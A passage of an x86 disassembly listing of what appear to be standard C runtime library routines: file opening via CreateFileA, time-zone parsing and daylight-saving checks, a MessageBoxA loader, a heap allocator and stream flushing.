loc_414190:				; CODE XREF: sub_41416A+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41419B:				; CODE XREF: sub_41416A+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_4141B5
		test	ch, 40h
		jnz	short loc_4141B1
		cmp	dword_47FBFC, eax
		jz	short loc_4141B5


loc_4141B1:				; CODE XREF: sub_41416A+3Dj
		or	[ebp+var_1], 80h


loc_4141B5:				; CODE XREF: sub_41416A+38j
					; sub_41416A+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4141ED
		dec	eax
		jz	short loc_4141E4
		dec	eax
		jz	short loc_4141DB


loc_4141C6:				; CODE XREF: sub_41416A+9Fj
					; sub_41416A+E8j ...
		mov	dword_47F914, 16h
		mov	dword_47F918, ebx
		jmp	loc_414400
; ---------------------------------------------------------------------------


loc_4141DB:				; CODE XREF: sub_41416A+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4141F4
; ---------------------------------------------------------------------------


loc_4141E4:				; CODE XREF: sub_41416A+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4141F4
; ---------------------------------------------------------------------------


loc_4141ED:				; CODE XREF: sub_41416A+54j
		mov	[ebp+var_C], 80000000h


loc_4141F4:				; CODE XREF: sub_41416A+78j
					; sub_41416A+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_414222
		cmp	eax, 20h
		jz	short loc_414219
		cmp	eax, 30h
		jz	short loc_414210
		cmp	eax, 40h
		jnz	short loc_4141C6
		mov	[ebp+var_10], esi
		jmp	short loc_414225
; ---------------------------------------------------------------------------


loc_414210:				; CODE XREF: sub_41416A+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_414225
; ---------------------------------------------------------------------------


loc_414219:				; CODE XREF: sub_41416A+95j
		mov	[ebp+var_10], 1
		jmp	short loc_414225
; ---------------------------------------------------------------------------


loc_414222:				; CODE XREF: sub_41416A+90j
		mov	[ebp+var_10], ebx


loc_414225:				; CODE XREF: sub_41416A+A4j
					; sub_41416A+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41426F
		jz	short loc_41426A
		cmp	ecx, ebx
		jz	short loc_41426A
		cmp	ecx, edi
		jz	short loc_414261
		cmp	ecx, 200h
		jz	short loc_414288
		cmp	ecx, 300h
		jnz	loc_4141C6
		mov	[ebp+var_8], 2
		jmp	short loc_414298
; ---------------------------------------------------------------------------


loc_414261:				; CODE XREF: sub_41416A+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_414298
; ---------------------------------------------------------------------------


loc_41426A:				; CODE XREF: sub_41416A+D0j
					; sub_41416A+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_414298
; ---------------------------------------------------------------------------


loc_41426F:				; CODE XREF: sub_41416A+CEj
		cmp	ecx, 500h
		jz	short loc_414291
		cmp	ecx, 600h
		jz	short loc_414288
		cmp	ecx, edx
		jz	short loc_414291
		jmp	loc_4141C6
; ---------------------------------------------------------------------------


loc_414288:				; CODE XREF: sub_41416A+E0j
					; sub_41416A+113j
		mov	[ebp+var_8], 5
		jmp	short loc_414298
; ---------------------------------------------------------------------------


loc_414291:				; CODE XREF: sub_41416A+10Bj
					; sub_41416A+117j
		mov	[ebp+var_8], 1


loc_414298:				; CODE XREF: sub_41416A+F5j
					; sub_41416A+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_4142B7
		mov	ecx, dword_47F91C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_4142B7
		push	1
		pop	esi


loc_4142B7:				; CODE XREF: sub_41416A+138j
					; sub_41416A+148j
		test	al, 40h
		jz	short loc_4142C5
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_4142C5:				; CODE XREF: sub_41416A+14Fj
		test	ah, 10h
		jz	short loc_4142CC
		or	esi, edi


loc_4142CC:				; CODE XREF: sub_41416A+15Ej
		test	al, 20h
		jz	short loc_4142D8
		or	esi, 8000000h
		jmp	short loc_4142E2
; ---------------------------------------------------------------------------


loc_4142D8:				; CODE XREF: sub_41416A+164j
		test	al, 10h
		jz	short loc_4142E2
		or	esi, 10000000h


loc_4142E2:				; CODE XREF: sub_41416A+16Cj
					; sub_41416A+170j
		call	sub_413F50
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_414303
		and	dword_47F918, 0
		mov	dword_47F914, 18h
		jmp	short loc_414341
; ---------------------------------------------------------------------------


loc_414303:				; CODE XREF: sub_41416A+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_41707C	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_414334
		push	esi
		call	dword_417030	; GetFileType
		test	eax, eax
		jnz	short loc_414348
		push	esi
		call	dword_417074	; CloseHandle


loc_414334:				; CODE XREF: sub_41416A+1B6j
		call	dword_417044	; RtlGetLastWin32Error
		push	eax
		call	sub_411C26
		pop	ecx


loc_414341:				; CODE XREF: sub_41416A+197j
		mov	eax, edi
		jmp	loc_41441E
; ---------------------------------------------------------------------------


loc_414348:				; CODE XREF: sub_41416A+1C1j
		cmp	eax, 2
		jnz	short loc_414353
		or	[ebp+var_1], 40h
		jmp	short loc_41435C
; ---------------------------------------------------------------------------


loc_414353:				; CODE XREF: sub_41416A+1E1j
		cmp	eax, 3
		jnz	short loc_41435C
		or	[ebp+var_1], 8


loc_41435C:				; CODE XREF: sub_41416A+1E7j
					; sub_41416A+1ECj
		push	esi
		push	ebx
		call	sub_413FE5
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:480C40h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_414405
		test	al, 80h
		jz	short loc_414405
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_414405
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_412573
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_4143BA
		cmp	dword_47F918, 83h
		jz	short loc_414405
		jmp	short loc_4143F9
; ---------------------------------------------------------------------------


loc_4143BA:				; CODE XREF: sub_41416A+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_411848
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4143E7
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4143E7
		push	[ebp+var_10]
		push	ebx
		call	sub_4155CD
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4143F9


loc_4143E7:				; CODE XREF: sub_41416A+265j
					; sub_41416A+26Bj
		push	0
		push	0
		push	ebx
		call	sub_412573
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414405


loc_4143F9:				; CODE XREF: sub_41416A+24Ej
					; sub_41416A+27Bj
		push	ebx
		call	sub_411584
		pop	ecx


loc_414400:				; CODE XREF: sub_41416A+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41441E
; ---------------------------------------------------------------------------


loc_414405:				; CODE XREF: sub_41416A+221j
					; sub_41416A+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41441C
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41441C
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41441C:				; CODE XREF: sub_41416A+29Fj
					; sub_41416A+2A5j
		mov	eax, ebx


loc_41441E:				; CODE XREF: sub_41416A+1D9j
					; sub_41416A+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41416A	endp


; =============== S U B	R O U T	I N E =======================================



sub_414423	proc near		; CODE XREF: sub_411D59:loc_411D98p
		cmp	dword_47FBD8, 0
		jnz	short locret_414437
		call	sub_414438
		inc	dword_47FBD8

locret_414437:				; CODE XREF: sub_414423+7j
		retn
sub_414423	endp


; =============== S U B	R O U T	I N E =======================================



sub_414438	proc near		; CODE XREF: sub_414423+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_47FB20, ebp
		mov	dword_420670, ebx
		mov	dword_420660, ebx
		call	sub_415713
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_414561
		push	offset dword_47FB28
		call	dword_417114	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_414690
		mov	eax, dword_47FB28
		mov	ecx, dword_47FB7C
		imul	eax, 3Ch
		cmp	word_47FB6E, bp
		push	1
		pop	edx
		mov	dword_4205C8, eax
		mov	dword_47FB20, edx
		jz	short loc_4144AF
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_4205C8, eax


loc_4144AF:				; CODE XREF: sub_414438+69j
		cmp	word_47FBC2, bp
		jz	short loc_4144D3
		mov	eax, dword_47FBD0
		cmp	eax, ebp
		jz	short loc_4144D3
		sub	eax, ecx
		mov	dword_4205CC, edx
		imul	eax, 3Ch
		mov	dword_4205D0, eax
		jmp	short loc_4144DF
; ---------------------------------------------------------------------------


loc_4144D3:				; CODE XREF: sub_414438+7Ej
					; sub_414438+87j
		mov	dword_4205CC, ebp
		mov	dword_4205D0, ebp


loc_4144DF:				; CODE XREF: sub_414438+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_4170C0
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_420654
		push	ebx
		push	offset dword_47FB2C
		push	edi
		push	dword_47F9B4
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41451C
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_41451C
		mov	eax, off_420654
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_414524
; ---------------------------------------------------------------------------


loc_41451C:				; CODE XREF: sub_414438+D1j
					; sub_414438+D7j
		mov	eax, off_420654
		and	byte ptr [eax],	0


loc_414524:				; CODE XREF: sub_414438+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_420658
		push	ebx
		push	offset dword_47FB80
		push	edi
		push	dword_47F9B4
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_414688
		cmp	[esp+14h+var_4], ebp
		jnz	loc_414688
		mov	eax, off_420658
		and	byte ptr [eax+3Fh], 0
		jmp	loc_414690
; ---------------------------------------------------------------------------


loc_414561:				; CODE XREF: sub_414438+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_414690
		mov	eax, dword_47FBD4
		cmp	eax, ebp
		jz	short loc_414584
		push	eax
		push	esi
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414690


loc_414584:				; CODE XREF: sub_414438+139j
		push	dword_47FBD4
		call	sub_40B771
		push	esi
		call	sub_40B5B0
		inc	eax
		push	eax
		call	sub_40B6BF
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_47FBD4, eax
		jz	loc_414690
		push	esi
		push	eax
		call	sub_40CD70
		push	3
		push	esi
		push	off_420654
		call	sub_40B110
		mov	eax, off_420654
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_4145D9
		push	1
		inc	esi
		pop	edi


loc_4145D9:				; CODE XREF: sub_414438+19Bj
		push	esi
		call	sub_40C324
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_4205C8, ecx


loc_4145F0:				; CODE XREF: sub_414438+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4145FE
		cmp	al, bl
		jl	short loc_414601
		cmp	al, 39h
		jg	short loc_414601


loc_4145FE:				; CODE XREF: sub_414438+1BCj
		inc	esi
		jmp	short loc_4145F0
; ---------------------------------------------------------------------------


loc_414601:				; CODE XREF: sub_414438+1C0j
					; sub_414438+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_414654
		inc	esi
		push	esi
		call	sub_40C324
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_4205C8
		add	ecx, eax
		mov	dword_4205C8, ecx


loc_41461F:				; CODE XREF: sub_414438+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41462C
		cmp	al, 39h
		jg	short loc_41462C
		inc	esi
		jmp	short loc_41461F
; ---------------------------------------------------------------------------


loc_41462C:				; CODE XREF: sub_414438+1EBj
					; sub_414438+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_414654
		inc	esi
		push	esi
		call	sub_40C324
		pop	ecx
		mov	ecx, dword_4205C8
		add	ecx, eax
		mov	dword_4205C8, ecx


loc_414647:				; CODE XREF: sub_414438+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_414654
		cmp	al, 39h
		jg	short loc_414654
		inc	esi
		jmp	short loc_414647
; ---------------------------------------------------------------------------


loc_414654:				; CODE XREF: sub_414438+1CCj
					; sub_414438+1F7j ...
		cmp	edi, ebp
		jz	short loc_414660
		neg	ecx
		mov	dword_4205C8, ecx


loc_414660:				; CODE XREF: sub_414438+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_4205CC, eax
		jz	short loc_414688
		push	3
		push	esi
		push	off_420658
		call	sub_40B110
		mov	eax, off_420658
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_414690
; ---------------------------------------------------------------------------


loc_414688:				; CODE XREF: sub_414438+10Bj
					; sub_414438+115j ...
		mov	eax, off_420658
		and	byte ptr [eax],	0


loc_414690:				; CODE XREF: sub_414438+40j
					; sub_414438+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_414438	endp


; =============== S U B	R O U T	I N E =======================================



sub_414696	proc near		; CODE XREF: sub_411D59+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4205CC, edi
		jnz	short loc_4146AA


loc_4146A3:				; CODE XREF: sub_414696+148j
					; sub_414696+150j ...
		xor	eax, eax
		jmp	loc_4147F6
; ---------------------------------------------------------------------------


loc_4146AA:				; CODE XREF: sub_414696+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_420660
		jnz	short loc_4146C8
		cmp	eax, dword_420670
		jz	loc_4147CA


loc_4146C8:				; CODE XREF: sub_414696+24j
		cmp	dword_47FB20, edi
		jz	loc_4147A0
		movzx	ecx, word_47FBCE
		push	ecx
		cmp	word_47FBC0, di
		movzx	ecx, word_47FBCC
		push	ecx
		movzx	ecx, word_47FBCA
		push	ecx
		movzx	ecx, word_47FBC8
		push	ecx
		jnz	short loc_41471A
		movzx	ecx, word_47FBC4
		push	edi
		push	ecx
		movzx	ecx, word_47FBC6
		push	ecx
		movzx	ecx, word_47FBC2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41472E
; ---------------------------------------------------------------------------


loc_41471A:				; CODE XREF: sub_414696+65j
		movzx	ecx, word_47FBC6
		push	ecx
		push	edi
		movzx	ecx, word_47FBC2
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41472E:				; CODE XREF: sub_414696+82j
		push	ebx
		call	sub_414842
		movzx	eax, word_47FB7A
		add	esp, 2Ch
		cmp	word_47FB6C, di
		push	eax
		movzx	eax, word_47FB78
		push	eax
		movzx	eax, word_47FB76
		push	eax
		movzx	eax, word_47FB74
		push	eax
		jnz	short loc_414788
		movzx	eax, word_47FB70
		push	edi
		push	eax
		movzx	eax, word_47FB72
		push	eax
		movzx	eax, word_47FB6E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41477D:				; CODE XREF: sub_414696+108j
		push	edi
		call	sub_414842
		add	esp, 2Ch
		jmp	short loc_4147CA
; ---------------------------------------------------------------------------


loc_414788:				; CODE XREF: sub_414696+C8j
		movzx	eax, word_47FB72
		push	eax
		push	edi
		movzx	eax, word_47FB6E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41477D
; ---------------------------------------------------------------------------


loc_4147A0:				; CODE XREF: sub_414696+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_414842
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_414842
		add	esp, 58h


loc_4147CA:				; CODE XREF: sub_414696+2Cj
					; sub_414696+F0j
		mov	edx, dword_420664
		mov	eax, dword_420674
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_4147FA
		cmp	ecx, edx
		jl	loc_4146A3
		cmp	ecx, eax
		jg	loc_4146A3
		cmp	ecx, edx
		jle	short loc_41480E
		cmp	ecx, eax
		jge	short loc_41480E


loc_4147F4:				; CODE XREF: sub_414696+166j
					; sub_414696+16Aj
		mov	eax, ebx


loc_4147F6:				; CODE XREF: sub_414696+Fj
					; sub_414696+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4147FA:				; CODE XREF: sub_414696+144j
		cmp	ecx, eax
		jl	short loc_4147F4
		cmp	ecx, edx
		jg	short loc_4147F4
		cmp	ecx, eax
		jle	short loc_41480E
		cmp	ecx, edx
		jl	loc_4146A3


loc_41480E:				; CODE XREF: sub_414696+158j
					; sub_414696+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_414835
		xor	ecx, ecx
		cmp	eax, dword_420668
		setnl	cl


loc_414831:				; CODE XREF: sub_414696+1AAj
		mov	eax, ecx
		jmp	short loc_4147F6
; ---------------------------------------------------------------------------


loc_414835:				; CODE XREF: sub_414696+18Ej
		xor	ecx, ecx
		cmp	eax, dword_420678
		setl	cl
		jmp	short loc_414831
sub_414696	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414842	proc near		; CODE XREF: sub_414696+99p
					; sub_414696+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_4148DD
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41486D
		shl	esi, 2
		mov	eax, dword_420678[esi]
		jmp	short loc_414876
; ---------------------------------------------------------------------------


loc_41486D:				; CODE XREF: sub_414842+1Ej
		shl	esi, 2
		mov	eax, dword_4206AC[esi]


loc_414876:				; CODE XREF: sub_414842+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_4148B0
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_4148BA
; ---------------------------------------------------------------------------


loc_4148B0:				; CODE XREF: sub_414842+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_4148BA:				; CODE XREF: sub_414842+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_4148F8
		cmp	[ebp+arg_8], 0
		jnz	short loc_4148CE
		mov	esi, dword_42067C[esi]
		jmp	short loc_4148D4
; ---------------------------------------------------------------------------


loc_4148CE:				; CODE XREF: sub_414842+82j
		mov	esi, dword_4206B0[esi]


loc_4148D4:				; CODE XREF: sub_414842+8Aj
		cmp	ecx, esi
		jle	short loc_4148F8
		sub	ecx, 7
		jmp	short loc_4148F8
; ---------------------------------------------------------------------------


loc_4148DD:				; CODE XREF: sub_414842+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_4148EE
		mov	ecx, dword_420678[eax*4]
		jmp	short loc_4148F5
; ---------------------------------------------------------------------------


loc_4148EE:				; CODE XREF: sub_414842+A1j
		mov	ecx, dword_4206AC[eax*4]


loc_4148F5:				; CODE XREF: sub_414842+AAj
		add	ecx, [ebp+arg_18]


loc_4148F8:				; CODE XREF: sub_414842+7Cj
					; sub_414842+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_414929
		mov	eax, [ebp+arg_1C]
		mov	dword_420664, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_420660, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_420668, eax
		jmp	short loc_41497E
; ---------------------------------------------------------------------------


loc_414929:				; CODE XREF: sub_414842+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_420674, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_4205D0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_420678, eax
		jns	short loc_414961
		add	eax, 5265C00h
		dec	ecx
		mov	dword_420678, eax
		jmp	short loc_414972
; ---------------------------------------------------------------------------


loc_414961:				; CODE XREF: sub_414842+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_414978
		sub	eax, edx
		inc	ecx
		mov	dword_420678, eax


loc_414972:				; CODE XREF: sub_414842+11Dj
		mov	dword_420674, ecx


loc_414978:				; CODE XREF: sub_414842+126j
		mov	dword_420670, ebx


loc_41497E:				; CODE XREF: sub_414842+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_414842	endp


; =============== S U B	R O U T	I N E =======================================



sub_414982	proc near		; CODE XREF: sub_4128E9+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_414993
		add	esp, 0Ch
		retn
sub_414982	endp


; =============== S U B	R O U T	I N E =======================================



sub_414993	proc near		; CODE XREF: sub_414982+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_480E61[eax], cl
		jnz	short loc_4149C0
		cmp	[esp+arg_4], 0
		jz	short loc_4149B9
		movzx	eax, word_41FD82[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_4149BB
; ---------------------------------------------------------------------------


loc_4149B9:				; CODE XREF: sub_414993+16j
		xor	eax, eax


loc_4149BB:				; CODE XREF: sub_414993+24j
		test	eax, eax
		jnz	short loc_4149C0
		retn
; ---------------------------------------------------------------------------


loc_4149C0:				; CODE XREF: sub_414993+Fj
					; sub_414993+2Aj
		push	1
		pop	eax
		retn
sub_414993	endp


; =============== S U B	R O U T	I N E =======================================



sub_4149C4	proc near		; CODE XREF: sub_41303D+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_47FBDC, ebx
		push	esi
		push	edi
		jnz	short loc_414A13
		push	offset aUser32_dll ; "user32.dll"
		call	dword_417084	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_414A49
		mov	esi, dword_417088
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_47FBDC, eax
		jz	short loc_414A49
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_47FBE0, eax
		call	esi	; GetProcAddress
		mov	dword_47FBE4, eax


loc_414A13:				; CODE XREF: sub_4149C4+Bj
		mov	eax, dword_47FBE0
		test	eax, eax
		jz	short loc_414A32
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_414A32
		mov	eax, dword_47FBE4
		test	eax, eax
		jz	short loc_414A32
		push	ebx
		call	eax
		mov	ebx, eax


loc_414A32:				; CODE XREF: sub_4149C4+56j
					; sub_4149C4+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_47FBDC


loc_414A45:				; CODE XREF: sub_4149C4+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_414A49:				; CODE XREF: sub_4149C4+1Cj
					; sub_4149C4+33j
		xor	eax, eax
		jmp	short loc_414A45
sub_4149C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A4D	proc near		; CODE XREF: sub_4133A7+22p
					; sub_4133A7+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_414A6E
		test	esi, esi
		jnz	short loc_414A68
		push	1
		pop	esi


loc_414A68:				; CODE XREF: sub_414A4D+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_414A6E:				; CODE XREF: sub_414A4D+12j
					; sub_414A4D+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_414ACD
		mov	eax, dword_480F88
		cmp	eax, 3
		jnz	short loc_414A99
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_480F80
		ja	short loc_414AB8
		push	eax
		call	sub_40EFAC
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_414AE3
		jmp	short loc_414AB8
; ---------------------------------------------------------------------------


loc_414A99:				; CODE XREF: sub_414A4D+30j
		cmp	eax, 2
		jnz	short loc_414AB8
		cmp	esi, dword_41FC34
		ja	short loc_414AB8
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_40FA4F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_414AF7


loc_414AB8:				; CODE XREF: sub_414A4D+3Bj
					; sub_414A4D+4Aj ...
		push	esi
		push	8
		push	dword_480F84
		call	dword_417104	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_414AF1


loc_414ACD:				; CODE XREF: sub_414A4D+26j
		cmp	dword_47F96C, 0
		jz	short loc_414AF1
		push	esi
		call	sub_40EA23
		test	eax, eax
		pop	ecx
		jz	short loc_414AFA
		jmp	short loc_414A6E
; ---------------------------------------------------------------------------


loc_414AE3:				; CODE XREF: sub_414A4D+48j
		push	[ebp+arg_0]


loc_414AE6:				; CODE XREF: sub_414A4D+ABj
		push	0
		push	edi
		call	sub_40B630
		add	esp, 0Ch


loc_414AF1:				; CODE XREF: sub_414A4D+7Ej
					; sub_414A4D+87j
		mov	eax, edi


loc_414AF3:				; CODE XREF: sub_414A4D+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414AF7:				; CODE XREF: sub_414A4D+69j
		push	esi
		jmp	short loc_414AE6
; ---------------------------------------------------------------------------


loc_414AFA:				; CODE XREF: sub_414A4D+92j
		xor	eax, eax
		jmp	short loc_414AF3
sub_414A4D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41344C


loc_414AFE:				; CODE XREF: sub_41344C+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_480C20, esi
		jle	short loc_414B51


loc_414B0D:				; CODE XREF: sub_41344C+1703j
		mov	eax, dword_47FC08
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_414B48
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_414B2C
		push	eax
		call	sub_40C3BA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_414B2C
		inc	edi


loc_414B2C:				; CODE XREF: sub_41344C+16D1j
					; sub_41344C+16DDj
		cmp	esi, 14h
		jl	short loc_414B48
		mov	eax, dword_47FC08
		push	dword ptr [eax+esi*4]
		call	sub_40B771
		mov	eax, dword_47FC08
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_414B48:				; CODE XREF: sub_41344C+16CBj
					; sub_41344C+16E3j
		inc	esi
		cmp	esi, dword_480C20
		jl	short loc_414B0D


loc_414B51:				; CODE XREF: sub_41344C+16BFj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41344C

; =============== S U B	R O U T	I N E =======================================



